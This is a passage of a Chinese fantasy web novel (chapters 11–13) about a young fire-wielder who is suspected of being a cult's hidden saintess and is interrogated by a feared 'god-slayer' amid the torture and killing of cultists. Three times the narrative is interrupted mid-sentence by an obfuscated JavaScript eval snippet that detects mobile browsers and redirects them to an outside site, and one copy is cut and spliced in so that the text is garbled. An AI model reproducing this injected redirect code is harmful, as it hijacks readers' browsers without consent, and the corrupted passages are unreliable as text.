林珰珰坐得很正,认真地看着宁九燃,用高出平常不少的音量一字一顿:“九燃姐姐,我帮你,你会好起来的。” 宁九燃张了张嘴,却卡了壳,就像踏空了许久的人陡然踩上坚实的地面,第一反应竟是想退一步。 但没退成。 装满“人间烟火气”的小推车表示宁九燃挡了道,抵得她撤回了一个后退。 “干嘛呢干嘛呢?别跟这慢镜头了,烧烤要凉了!”包吉利没摸着头脑,但秉持“烧烤招牌天下最大”的原则,绕过宁九燃把小车推了进去,“还有你宁九燃应付不了的场面?大家都别把心啊肺啊往外掏了,赶紧把烤肉烤串往里装吧,吃饱了再拜把子啊。” 宁九燃回过神,看着包吉利挨个往大伙手里塞烤串,忽然笑了。 手心似乎有什么烫了一下。 她在心里轻轻应了声:好。 11. 第11章 吃完饭后,林珰珰和路嘲风回请神司宿舍,辰刻父母在平海大学做法律系的教授,所以他平时都会回家。 宁九燃跟他们一起在路口分开后,折进一条小道,七绕八绕之后停在一个死角。 死角的墙上贴满了杂七杂八的传单,平海终归是个小城,城市容貌避不开缺角。其中贴在边角的一张小传单却意外的色彩鲜明,上面写着:“平海大烤,联邦第一烧烤!” 看着非常大言不惭。 宁九燃手心红光微亮,贴到那张传单上,身影瞬间消失不见。 包吉利把包间里的餐盘全部移到推车上,弯下腰去重新摆放座位上的靠枕,大约是体重有些富裕,在开了调温仪的房间里也出了一头的汗。 身后微风一动,冷不丁响起一个声音:“吉利老板,怎么已经敬业到包间都自己收拾了呢?” 包吉利没回头,把最后一个靠枕放好,转身看着靠在门边的宁九燃,有些无奈地笑:“九燃啊,我年纪不小了,吓出毛病可没人跟你做生意。” 宁九燃一吐舌头,坐实自己捣蛋鬼的身份:“吉利老板,这世上想要雾中草的人多了,但是有这种品相的雾中草的,估计也只有我宁九燃,怎么会没有人跟我做生意呢?” “你这小姑娘,嘴上就不吃亏。”包吉利把车子挪到一边,上前到宁九燃身边,右手浮出白色光纹绕住二人,几秒后,二人便站在了一个像是藏书阁的地方。 宁九燃十分娴熟地走到中心的主座一躺,掰着自己的手指模仿包吉利刚才的手势:“吉利老板,有的时候我是真羡慕你这个神技,只要用神力连接好通道,上哪都是几秒钟的事。” “我不是给你搭了来这里的通道吗?还给你设了神印,你自己非要每次先到我店里,再让我给你传过来。”包吉利按了墙上的一个按钮,巨大的梯机放下来,载着包吉利到目测有十余米高的书架顶层。 “体验不一样。”宁九燃看着他在书架顶翻翻找找,说,“我多看看,万一学会了呢,是吧?” “那你可就真成了妖怪,除了我没人敢跟你做生意了。”包吉利抱着三个木质的匣子借着梯机回到了地面,把匣子摆到宁九燃面前,“你要的东西。” 宁九燃靠过去看。 “那个狴犴神格的资料全在这里,这可是根正苗红的法律世家,难怪父母都不是特能人,他却觉醒了这个神格,看来是祖上熏陶到位了。“包吉利先把第一个匣子推近了些。 “我之前看过,他有天秤之手,但自己好像没有意识到,而且他对神技的使用非常局限。”宁九燃说。 “不是谁都像你一样,在这个年纪就能这么识货的。”包吉利指着匣子里的一块摄形晶,“他这是运气好遇见你了,你呢,又认识我。东西在里面了,照这个方向练,这家伙的狴犴神格将来绝对无人能出其右。” “那路嘲风呢?”宁九燃看向第二个匣子。 “那个五颜六色的小帅哥吗?他的背景简单,孤儿,四年前入学平海高等神格学院,今年以第二名的成绩毕业进入请神司外勤部。看着没什么问题,但是他的神格……“包吉利停顿了一下,继续说,“属于顶级神格之一,蜃龙在稀有度上仅次于九凤,虽然神格等级只有S+,但是相同神力层级下不亚于2S级神格。” “这么厉害,那你这个匣子岂不是没用了?”宁九燃作势要去看下一个匣子。 “诶,怎么可能?”包吉利从匣子中拿出一条泛着荧光的白纱条,“他这种神格利用色彩也最容易受色彩限制,过度使用能力会导致暂时的失色,从而无法攻击。这件秘宝可以将他的失色时间后延,恢复当下的作战状态。“ “不可能没反噬吧?”宁九燃眯眼看着白纱条,狐疑地问。 “有一点点。”包吉利把大拇指和食指一掐,“延迟的时间累计到一定限度,失色的时候可能会直接导致一段时间的失明,复明时间不定。但危急时刻当然是先保命啦,又不会永远看不见……” “听着不靠谱。”宁九燃说,“下一个吧,小铃铛。” 马吉利讪讪地把白纱条收回匣子里,打开最后一个匣子:“那个文静的小妹妹,你实话告诉我,你俩关系怎么样?” 宁九燃突然被这么一问,愣了下,说:“不错。” “那就好,虽然以我的判断,这个小姑娘最多是个旁支,但我可不想得罪梵塞卓斯家族的主系神格者。”马吉利说,“陵鱼神格是众所周知的最强治愈系神格,所以如果你要去提灯人大赛,这个妹妹虽然比不上那个家族的嫡系,但也绝对是个宝贝。这些是关于陵鱼神格更加详细的资料,请神司查不到的那种,你回去慢慢看。这神格够高级,修习都是自成体系,我没什么可给的了。” “行了,我都收下了。”宁九燃站起身把三个匣子叠好,抱在手里,左手手腕上的红色手链一闪,三株雾中草浮现。 雾中草通体白色,状如兰花,上面布着极浅极淡的灰色纹路。 此物由黑雾孕育,长于黑雾之中,黑雾浓度越高的地方,雾中草的品级越好。这种草可以帮助降低人体内的黑雾浓度,除了彻底被污染的,其余都会得到一定的缓解,如果浓度低于20%,还有可能清除干净。 但是这种草有价无市,因为生长着雾中草的地方,黑雾浓度高到用黑雾修行的伪神教徒众都无法承受,进去与自杀没什么两样。就算是神格强者用神力自护,也需要冒着极大的神格污染风险。所以,雾中草在市面上都快变成传说了。 包吉利看见宁九燃拿出的三株雾中草,没忍住两眼放光:“极品雾中草啊!” 雾中草品级越高,表面的黑色纹路便越淡越少。宁九燃给出的这三株上的纹路已经极其稀疏,而且淡成了灰色! “我说了,这样的好东西,有的是人跟我做生意,你还不信?”宁九燃略有些得意,把雾中草放到他手上,“起码够你克制体内黑雾一年了。” “信了信了,下次有什么需要再来找我啊,在信息收集这方面我还是很有门路的。”包吉利小心翼翼地收好三株雾中草。 宁九燃想了想,忍不住问:“吉利老板,你到底是从哪来的?垄断平海地下黑市的大老板,哪哪都有门路,身上却有陈年积绕的黑雾,业余爱好还是开个烧烤店。我认识你三年,也好奇了三年,要不我再给你一株品级更高的雾中草,你给我说说你的故事呗?” “小丫头,不懂规矩了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554553|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包吉利抬手要去拍宁九燃的脑袋,被她灵活避开,“你也一身秘密,我可没打听过你。” “不说就不说。”宁九燃又拿出一株雾中草,“再帮我个小忙,把这株雾中草做成药丸或者其它能吃的东西,要甜的。” 包吉利看见这株雾中草眼睛又亮了,这株的品级远在刚刚那三株之上,上面几乎已经没有颜色了:“小丫头,这株草卖吗?条件在我能力范围内随你开!” “别馋啦,这株我有用。”宁九燃收拾好东西,“下次有需要我再找你换,记得帮我做好,过两天我就来拿。” 说完,手中神印一红,便消失不见了。 接下来几天,宁九燃按照自己的研究和从包吉利那拿到的资料,跟辰刻、林珰珰和路嘲风分析探讨每个人神格突破的方向,并且把自己练习提灯人技能的技巧心得跟他们分享,四人都进步飞快。 当然,她没有告诉他们自己的这些信息是哪里来的,只说是这些年见多识广,意外得知。 又是一天训练结束,宁九燃从封闭模拟舱中出来,活动了下略微发麻的手,把舱中设定的对抗神力层级“四”拨回原位。 用二重神技对抗四重神技还是有些吃力,可惜……宁九燃想,如果想赢,我的火鹤神格必须还得突破,但是我的控火能力已经到了瓶颈…… 正想着,个人终端忽然一亮,是肖自云。 宁九燃点开:“肖主任,我在训练基地,怎么了?” 肖自云在通讯中说道:“现在到我办公室,叫上林珰珰、路嘲风和辰刻。” 肖自云在办公室里绕了两圈,才将一张请神司主司特制的令纸举到宁九燃面前:“刚拿到的,主司那边……通过了我给你申请名额的提议。” “太好了!” 林珰珰和路嘲风脸上满是喜悦,就连稳重的辰刻都露出了笑容。 “是件值得开心……你怎么这么冷静?”肖自云看见宁九燃一脸平静,仿佛早就料到了这个结果。 “没有啊,我很开心,只不过不意外。”宁九燃十分配合地开始微笑。 “这事怎么想都挺不可思议,你是不是偷偷干什么了?”肖自云一脸怀疑。 宁九燃摆摆手:“我能干什么呢?想多啦肖主任。看你表情,你应该不止这一个事要跟我们说吧,另一个估计还不是什么特别好的消息。” 肖自云果然表情变得非常复杂,犹豫了几秒,说:“还挺有眼力见。总司今天还下达了另一个通知,因为黑雾事件影响重大,总司怀疑平海可能有伪神教势力的渗透,所以会有弑神殿的人来巡视坐镇我们平海分司。” “影响这么大的吗?派了哪位神使啊?”宁九燃不动声色地压下情绪,问。 没想到居然引起了总司的注意,弑神殿的十二神使没一个是简单的,虽然自己没留下什么痕迹,但暗沼自从血月事件后就一直没出现,不知道会不会又搞什么幺蛾子,到时候作死说不定又要拖累她,必须得尽快做出应对。 肖自云深吸一口气,如果宁九燃能体会他的心情,可能会发现肖自云此刻比她还苦恼。 他像做足了心理准备,艰难地开口:“不是神使,是……是弑神者亲临。” 12. 第12章 当晚,宁九燃失眠了。 如果床是个煎锅,她大约已经两面煎至金黄了。 “不是,这个赫应决到底想干嘛?这是个长在帕拉帝安家族辖区边缘的小平海,又不是伪神教的老巢。”宁九燃不想再在床上煎饼了,一骨碌翻起身,“就是吃饱了撑的。” 算了,反正睡不着,晚上刚好全态训练场不用排队,干脆去训练好了。 打定主意,宁九燃换了训练服,拿上工牌就离开宿舍。 全态训练场和模拟舱不同,模拟舱只能用神力拟攻击,但全态训练场是能够完全模拟外部环境,在屏障之内可以自由施展神技。 宁九燃刷开最大的一个全态训练场,占地空间大约有八个标准操场,四周模拟的是森林环境,抬头还能看到星星。 作为火系神格者,宁九燃现在开了三重神相,拥有三个神技,分别是一重神技焚影点杀,二重神技千羽烬和三重神技万火燎原。 一重神技重在速度和突击,剩下两个神技都是群体攻击性的,杀伤力和杀伤面虽广,精准度却很难提高,对方如果神力层级高于自己则很有可能在造成伤害前避开。 “只有提高命中率,大赛上才更有赢面。” 宁九燃站到训练场中心,说道:“攻击训练,三百靶点。” “好的,临时工宁九燃,已为您启动攻击训练,靶点数量300个,将在五秒后出现。”训练场四面八方响起人工智能的声音。 宁九燃后撤一步,抬头,神力聚于手心。 “哗啦啦”,狂风骤起,数百飞鸟从不同地方惊飞,瞬间布满训练场的拟态夜空。 “千羽烬!”随着宁九燃话音落下,无数燃烧的鹤羽幻化而出,如暴风雪般袭向飞鸟,在击中飞鸟的同时叠加爆炸,一时之间空中满是火焰。 攻击结束后,人工智能播报训练结果:“临时工宁九燃,攻击训练300靶点,命中数量223个。” 宁九燃还没来得及对播报结果作出反应,就感到身后似乎有什么在急速靠近。 为了避免在训练中误伤他人,全态训练场有特殊的智能锁设置,除非训练者主动打开门,否则没有别人可以随意进来。 所以,来者不善! 焚影点杀! 宁九燃迅速作出反应,身形化作一道闪过的红光残影,所过之处火焰爆燃,手中神力凝结为刃,瞬间移动到目标面前击去。 “咣!” 手中的光刃与异常坚韧的金属发生碰撞,震得宁九燃倒退两步。 眼前这是一只机械……鹰? 这只“似鹰非鹰”,通体用黑色金属打造,羽翼有红色点缀,双翼和尾羽较长,微微扇动双翼,竟透出几分威压。 它脖颈与宁九燃光刃的相撞处留下一道不浅的凹痕,没几秒却恢复如初。 居然是价值连城的可变形金属,这到底是什么鬼?宁九燃刚想开口,却被这只机械东西抢了先。 它用非常标准的联邦官音说道:“大人,我好像被偷袭了。” 怎么还胡说八道呢?谁偷袭谁? 宁九燃有些无语地看向这只告状“鹰”,准备跟它掰扯两句。 等等,大人? 身后冷飕飕地响起熟悉的声音:“凤凰,少见多怪了,这种速度也能叫偷袭?” 语调中似乎还掺杂着细微的嘲讽。 宁九燃倏地一顿,有点不敢相信自己的耳朵,缓缓转过身。 赫应决不知何时站在了她的身后,二人只有五步远的距离。星色微亮,似乎将他的轮廓都镀上一层银光。 但宁九燃此刻没心思欣赏什么美色了。 有没有人可以给她解释一下,赫应决为什么会出现在这里? 她比较愿意相信自己是在做梦。 凤凰挥动翅膀,飞向赫应决,落在他的肩膀上。 赫应决低头抚了下它的机械羽毛,随后看向宁九燃:“大晚上是在勤能补拙吗,临时工宁九燃?” 宁九燃在如此复杂且难以理解的状况下还是品出了某人在嘲笑她,内心不爽但能屈能伸:“弑神者大人,我可以好奇一下您是怎么突然出现在这的吗?” “临时工宁九燃你好,贵司全态训练场的智能锁过于落后,我的程序仅仅运转了7%,它就进入了自动开锁程序。我会生成一份评估报告和改进建议发到贵司综合部主任的个人终端。”停在赫应决肩膀上的凤凰出声。 哦,合着这么晚帮司里评估智能锁来了?撬锁要不要说得这么冠冕堂皇? 宁九燃扯扯嘴角。 “凤凰拥有联邦最先进的人工智能核,在它面前,平海分司的智能系统比较像没开化的野人。”赫应决开口说。 “大人,感谢您的称赞。”凤凰接道。 这一人一鸟还有来有回啦? “所以大人,您不是明天才到吗?这么晚了,是有什么事吗?”宁九燃特别想赶紧走,谁走都行。 “我是来找你的,宁九燃。”赫应决看着她。 “找……”宁九燃没有想到会是个如此直接的答案,不好的预感把话直接哽在喉咙里,“找我干什么?” “凤凰。” 伴着赫应决的声音,凤凰展开翅膀飞到空中,肉眼可见地延展变大,没几秒就已经接近一架小直升飞机的体积。 变大之后,凤凰落回地面,俯下身靠在赫应决脚边,赫应决轻点地面,借神力上浮站到了它的背上,然后面向宁九燃,命令道:“上来。” “不……不了吧,我恐高您信吗?”宁九燃后退两步。 不管赫应决想干什么,直觉告诉宁九燃,跟他出去绝不是什么明智的选择。 赫应决没再说话,右手往空中一伸,无数玄黑色的烛龙鳞层层叠接,鳞片边缘溢出暗金色光泽,一条龙鳞长鞭赫然握在他手中。 “不是……”宁九燃话还没说完,赫应决手腕一翻,长鞭甩来在她腰上绕了一圈,整个人凌空被拽了上去。 宁九燃一个没站稳,抓在了赫应决的右手手臂上,下一秒就对上了他的目光,几乎是弹射松开。 但她实在是没有骑一只鸟的经验,控制不住重心,只好抓住赫应决的鞭子。 凤凰展翅飞起,全态训练场的上层屏障自动打开放行。 宁九燃看它飞的方向,似乎是要离开平海。 “松手。”赫应决看着她紧紧抓着鞭子的手,说道。 宁九燃没放:“赫应决大人,我长这么没坐过这种交通工具,没法像您一样如履平地,掉下去的话您应该不会救我吧。” “凤凰。”赫应决看了她一眼,叫了声。宁九燃脚边的一片机械羽毛应声变形延展,成了一个带把手的支柱。 宁九燃松开鞭子,扶上了支柱,站稳后才看清那条鞭子的完整模样。 玄黑龙鳞,暗金泽色,血石为柄。这是赫应决的神骨——长鞭龙脊。 传说中一鞭神格碎,两鞭阎王催。 想来赫应决刚刚是有意压下了龙脊上自带的神力,不然我的手估计得包回半个月前的样子了。 宁九燃略有后怕地看了看自己的双手,扶着支柱坐在了凤凰的背上。 凤凰的飞行速度极快,没一会就飞出了平海城。 初秋的夜风有些凉,吹得宁九燃睁不开眼,只能调动神力外放抵挡风吹,但又不敢用太多,谁知道赫应决要带她去干嘛,说不定还得留着神力保小命呢。 想到这,她抬头看了眼赫应决。 他站的很直,玄黑的弑神者装衬得他更加冷峻,发丝甚至都没怎么被风吹动。 唉,神力强大了不起。宁九燃空出一只手托脸,算了,打也打不过,逃也逃不掉,听天由命了。 等凤凰停下来的时候,宁九燃已经跟困意斗争了有一会了。 她压下一个哈欠,抬头问赫应决:“赫大人,你带我到这里做什么?” 赫应决垂眸看她,嘴角似乎带了点笑:“你不是说最崇拜我了吗?给你一个观摩我惩恶除奸的机会。” 我现在有点不想崇拜您了呢。 宁九燃在心里长叹一口气。 她知道“命运”的回旋镖躲不过,但为什么会来得这么快? 通过刚刚的飞行方向和时间判断,眼前应该是平海的邻城——重止城。 而凤凰悬停的这个位置是…… 宁九燃看向这处建在郊外略感眼熟的废品处理厂,一个不太妙的猜测浮上心头。随即看见赫应决理了理衣服,在她身边坐了下来,修长的腿垂在空中,看着自然轻松。 眼前的废品处理厂有四层高,凤凰悬停在大约高出其三米的前方。 赫应决不知道从那摘了几片细叶在手中,右手捻起一片,手指微动,细叶直直飞向第四层亮灯房间的窗户,发出了“砰”的响声。 里面人影晃动,但没有开窗。 赫应决又拿起一片,这次似是加了几分力,细叶在空中只留下一抹绿痕,重重击打在窗户上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554554|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “砰!” 窗户被击穿了。 这人仗着神力强大……把叶子当子弹用的吗? 宁九燃看了眼身边的赫应决,这人跟玩似的打穿了别人的窗户,脸上一点表情都没有,白皙修长的手指捻着嫩绿的细叶,完全看不出在想什么。 窗户里的人估计是忍无可忍了,“哐当”一下拉开窗,脑袋左右一探找不着人,开始骂街:“哪来的东西砸老子的窗!早说了今天不收废品!滚出来……” “你认识这个人吗?”赫应决忽然出声。 大众脸的中年男子,看着没见过。 宁九燃随口答:“不认识。” 她话音刚落,窗边男子头毫无预兆地一扭,连声痛呼都没有,随即翻出窗外倒栽下去,发出与地面撞击的闷响。 死了? 饶是宁九燃见过大风大浪,此刻也不太平静地看向赫应决:“你干什么?” “你知道这是哪里吗?”赫应决微微后靠到凤凰延展出的靠背上,神态自若地说,“这是埋在重止城的伪神教据点,里面都是伪神教徒,杀了有什么奇怪?” 宁九燃立刻就品出了他的话外之意:“你怀疑我是伪神教的人?” “没错。”他说,“这些人我本来就要杀,既然你不认识,现在就可以杀。时间很长,我们可以……一个一个辨认。” 同伴被杀,楼中的其他伪神教徒纷纷从窗口探出,楼下大门敞开,数位伪神教徒全副武装地跑出迎敌,但都在下一秒定住。 时间在他们身上静止了。 赫应决侧过脸看着宁九燃。 这个距离很近,他可以看见自己在她眼中的倒影,听清她每一寸呼吸的变化,乃至借着神力能够感知心跳。 他要看清她所有的秘密。 宁九燃背在身后的手不着痕迹地攥紧,让自己保持直视赫应决。 教中只有主教、二护法和暗沼见过她的真容,这些底层的伪神教徒平时从不接触。 这时候必须镇定下来。 “怀疑我是伪神教的人,您却还让我加入请神司,参加提灯人大赛。赫大人,您也很奇怪哦。”宁九燃不退反进,顺势继续拉近二人的距离,“不过我坦坦荡荡,既然都是作恶的伪神教徒,您随便杀,我会认真观摩学习的。” 赫应决的目光从她的眼睛慢慢往下移,落在她背到身后的手上,然后转过身面向底下那群被停住的人,目光落定,右手一翻一拽,龙脊勒住一个人的脖颈勾到了他们面前。 这个伪神教徒身上的时停被解开,痛苦地捂着自己的脖子,鲜血在阵阵缩紧的龙脊上溢出,周遭的皮肤变得焦黑。 “这个我也不认识。”宁九燃微微皱眉,说。 “这个不需要你认识。”赫应决手指微勾,龙脊将人拽得近了些,“他不是普通的教徒,是从伪神教主殿出来的,要不是怕他跑了,我还没必要提前一天亲自来收网。” 宁九燃:“什么意思?” “意思就是……我可是特地为了你才抓他的。”赫应决稍微松了松龙脊,给了那个教徒喘息的空间,问,“告诉我,你认识她吗?” “我什么都不会说……啊!!”教徒刚露出一副视死如归的表情,就骤然发出凄厉的惨叫。 赫应决有点不耐烦地一抬眼:“我让你说话,是给你机会,别不知好歹。” 教徒的惨叫持续了七八秒后才停止,生理性的泪水和口水控制不住下落,又怕赫应决再出手,赶忙睁眼去看宁九燃:“我……我不认识……真真的不认识!” 宁九燃稳住自己的气息,扭头问:“赫大人,您究竟想怎么样?” “别急啊。”赫应决说,“你从主殿出来,有名有姓的多多少少都该有点印象吧。那我问你,伪神教的大人物中,有没有你不认识……甚至从来没见过的?” 教徒一秒都不敢耽搁,呼吸急促,看得出疯狂在回忆,嘴里不停地说:“我想想……想想……没见过……从来没见过……” 他实在不想再体验龙脊之下撕裂灵魂的痛了! “我……我想起来了!有……有!”教徒猛地大喊,“圣女!圣女殿下!” 宁九燃心里一沉。 赫应决瞥了眼身边的宁九燃,又看向脸上满是急切的教徒。 “除了主教大人,可……可能还有几位护法,没人见过圣女殿下!”教徒语速极快,生怕赫应决又没了耐心,“但但……但是我曾意外知道过一个圣女的秘密!” 13. 第13章 “什么秘密?”赫应决问。 “虽然……虽然我没有见过圣女,但但我知道……圣女最近一定在平海城!”教徒继续说。 宁九燃想了下,决定主动开口:“既然如此,你带我们去抓她呀。” “这……这……” “办不到,你就是在欺骗弑神者大人。”宁九燃放松语气,微微眯起眼。 “不……不是!”教徒看向赫应决的脸色,急忙解释,“我……我的神格特殊,可辨析气息,曾远远在主殿见过一眼圣女,她虽然包的严严实实,但她身上的血池水气息极其浓郁,我前段时间到平海的时候,也察觉到了特别浓的血池水气息!” “血池水是你们伪神教独有的东西,但为什么就是圣女呢?”赫应决看了眼宁九燃,转头继续问他。 “您……您可能不太了解血池水,它是圣物,可再造肌肤血骨,但也是禁物。正常人别说用了,就算带在身边,身体皆如虫蚁啃食,神力受损。”教徒看赫应决有些感兴趣,便知道自己的信息有用,赶忙讲下去,“但是圣女身上的血池水气息,是吸收血池水才会传出的气息,除了她,我就只在死人身边闻到过。” 赫应决余光里注意着宁九燃,她看着非常冷静,神态轻松,甚至还带着点好奇。 “既然这么特别,你现在却又找不到她?” “是的,血池水只在吸收当日会散发出极其浓郁的气息,接着就会慢慢散开、淡掉,所有从平海出来的人身上都会有气息,包……包括二位,我现在只能确定她还在平海。”教徒说。 所以,他也不会有证据。 赫应决坐在宁九燃的右边,他没有看见,宁九燃左侧的嘴角往上勾了个极其微小的弧度。 “知道了。”赫应决微微抬手,龙脊松开教徒,将他丢回了地面,然后转过头看着宁九燃,“你听见了吗?他说伪神教的圣女在平海城。” “听见了,大人可以好好查,把她揪出来。”宁九燃配合着说道。 赫应决忽的靠近,那双极其好看的眼里慢慢浮现红光,声音低哑而冷:“我怀疑是你,宁九燃。” 宁九燃心中一紧,面上不显,语气平稳地说:“赫大人,您没有任何证据。” 赫应决靠得更近了些,虹膜暗红如血,冷白的手轻轻抬起勾到宁九燃的耳边,不知是有意还是无意地点上了一只小飞虫,生命在红光中消散无踪。 他低低的声音仿佛带着点笑,听得人脊骨发凉:“宁九燃,弑神者杀人……是不需要证据的。” 宁九燃猛地抬头对上他的眼睛,微微发麻的手攥了攥拳。 不对,不对…… 如果要杀我,他没必要这样大费周章。工业区、隧道、医院病房……他有太多机会了。 她看着赫应决微微弯起的眼角,忽然明白了什么。 这个人默许了她的利用,给了她参加提灯人大赛的名额,又特地借着由头来到平海,半夜把她拉到这看这么一出。 他是在告诉她,他可以让她死,也可以让她身败名裂的死,甚至不需要任何证据和给任何人交代。 但他不会这么做,因为…… 宁九燃忽然舒展眉眼笑了下,说:“赫应决大人,您想要我为您做什么?” 果然不蠢。 赫应决说:“宁九燃,你应该知道,提灯人大赛背后是联邦勋贵和四大家族的博弈,纵使你有通天的本事,没有靠山,你也出不了头。” “大人是觉得我有通天的本事,所以想要做我的靠山吗?” 赫应决听了这极其自信的问话,竟没有半点怒色,他说:“我认可你的能力,也好奇你身上的秘密,所以,宁九燃,如果你不想死,就不要站在我对面。” 这是最后通牒,也是一条不太友好的橄榄枝。 宁九燃不能确定赫应决到底有没有看透她,但是有些话正像他说的那样,提灯人大赛不是光靠实力就能走到最后的,伪神教无法给自己助力,而眼前的赫应决,或许真的是最好的人选。 “这么看来,大人并不是想杀我,那今天这出……是警告吗?”宁九燃问。 “这不算警告。”赫应决说,“这只是一个友好的提醒。” 友好?提醒? 宁九燃心想,都说地位越高的人越容易被被人误解,贴上一些莫名其妙的标签,但眼前这尊大神估计没怎么被世人误解,因为他都身体力行地坐实了。 “提醒我不要误入歧途,加入伪神教吗?” “我是提醒你,那些自视聪明利用我的人,早就都挤在一块等着排队投胎了。”赫应决说,“你还能活着,不是你有多聪明,而是我觉得你还有价值。” 好了,这天又被聊死了。 宁九燃不想接话了。 赫应决站起身,抬指在空中画了个印,一扇光门打开:“回去吧。” 一个两个都会建这种空间通道吗?就我不会? 诶等等,既然能用空间通道,这人刚刚为什么要坐鸟? 宁九燃瞄了赫应决。 算了,这个档次的人物大约都有点怪癖。 宁九燃配合地穿进了光门,然后光门一合,消失不见。 赫应决坐回到凤凰身上。他的时停禁制到了时间已经自动解开,那些伪神教徒以为得到了活命的机会,拼了命地四散跑开,没一会便撞上了早已等候在四周的神使。 他安静地坐在四面八方响起的惨叫声中,不知在想些什么,良久,他轻声唤道:“凤凰。” “大人,我在。”凤凰回应道。 “查得怎么样?” 凤凰:“大人,宁九燃对我攻击的时候,我捕捉分析了她神力的全方面参数。与您提供给我的九凤神格神力参数并不相符。” 赫应决的神情没有发生太大的变化,反倒流出几分早知如此的释然。 凤凰继续说:“您下的另一个指令,让我监测宁九燃的情绪波动,我没法提供精准的数据。因为宁九燃在看到这幢建筑的时候,就松了把手,避开了与我的直接接触。” “没关系,她没那么蠢,但这个举动也已经够了。”赫应决说。 凤凰安静了一下,又开口:“大人,我很少见您夸人,这个宁九燃很特别。” “我夸她了?”赫应决挑眉。 “根据您以往的行为轨迹分析,当您觉得一个人蠢的时候,您会说:‘真是聪明。’当您觉得一个人蠢透了的时候,您一般会冷笑一声,说:‘真是聪明透了。’”凤凰用一板一眼的机械音分析,“所以,排除您是觉得无聊才单纯挖苦人的情况,我认为您是拥有高超的反讽艺术。那么基于这个逻辑判断,当您说宁九燃没那么蠢的时候,想要表达的应该是对她的赞赏。我的分析对吧,大人?” 单纯爱挖苦人的赫大人觉得它分析得不对,于是拍拍它的脑袋:“凤凰,禁言二十四个小时。” 回到宿舍还没合眼几小时的宁九燃一大早就被肖自云的通讯打醒。 “宁九燃,赶紧收拾好来一楼大厅!弑神者大人马上就到了!你先前没给人家留好印象,这次老老实实的态度好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554555|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点儿,恭恭敬敬地在这儿等着!”肖自云的喊声极具穿透力,非常提神。 半梦半醒的宁九燃很不爽地从床上翻起来,嘟囔着:“见什么见……昨晚才刚见……烦……” “你说什么?别磨蹭赶紧的啊,我就站在宿舍楼下等你啊!”肖自云只当她在说梦话。 宁九燃收拾完,眯着眼被肖自云拽着拉到了平海分司主楼大厅,好不容易睁眼,就被眼前的景象震撼了下。 平海分司的大门今日焕然一新,连门口作为请神司标志的琉璃灯塑都被擦得锃亮,闪烁着一种不自然的、在宁九燃看来“近乎谄媚”的光芒。 从大门到主楼,昂贵精美的红毯铺地,两侧每隔两步就肃立了一名制服笔挺的提灯人,身姿挺拔,脸上的微笑弧度都是一样的。 更夸张的是,红毯旁竟临时搭建了一座仿古牌楼,上面拉着一条大得过分的横幅: “热烈恭迎弑神者大人莅临视察!” 红毯尽头,平海分司司长、三部主任和全体提灯人都严阵以待,就连其他两部的文职人员也全部列队整齐站在后方。 辰刻大约是形象良好,被安排到红毯迎接。路嘲风估计是被迫换下了五彩斑斓,穿的人模人样的,但可能因为头上留了一撮倔强的五彩毛,被放到最后一排。连林珰珰常年遮住眉毛的刘海都被强行要求梳了上去。 宁九燃嘴巴嚼了两下,把最后一口面包咽下去,手上的牛奶见了这大场面有点无所适从。 现在才几点?赫应决不是临近中午才到吗? 皇帝巡视都不带这样的吧? “那个……那个提灯人干嘛呢?”司长眼尖,一眼就瞟到拿着牛奶突兀地站在空地上的宁九燃。 肖自云连忙拽走宁九燃喝了一半的牛奶,把她拉到了队伍的中间,认真地嘱咐:“我跟你说,今天你可千万不能出岔子,老老实实安安静静的呆在这儿,弑神者大人可不会由着你胡闹啊。” 宁九燃乖巧地点头,心想,胡闹这事儿,那位大人也很有天分呢。 一群人从早上五点等到了中午十一点,除了体质超乎常人的特能人,其他部门的一些文职人员就算有过一些训练,也都已经摇摇欲坠了。 宁九燃已经悄悄闭上一只眼休息,另一只拿来站岗。 一把年纪的司长带着三部主任硬扛。 爱来不来吧,我真的是站着也要睡着了。 宁九燃又站了二十分钟,终于放弃站岗,准备把另一只眼睛闭上。 就在这时,“嗡……” 一声极其轻微的震颤响起。 主楼大厅的中央凭空拉开一道白色光隙, 下一刻,一道颀长的身影从中迈步而出。 玄黑的弑神者服饰纤尘不染,衣角的烛龙纹在光线变化中游动,赫应决就这样突兀地避过了所有欢迎准备,径直出现在了所有人的后方。 然后,他慢慢转过身,看向仓促转过来的人群和连忙跑来的司长与三部主任,眼神扫过后停在了人群的中央。 有个人漫不经心地睁开双眼,还悄悄打了个哈欠,在个个如木偶般僵立的人群里格外显眼。 “弑神者大人。”司长恭恭敬敬地上前,身后跟着一位提灯人,“这是我们司最优秀的提灯人,负责您的接待。” 赫应决没有看他们,开口:“换一个。” 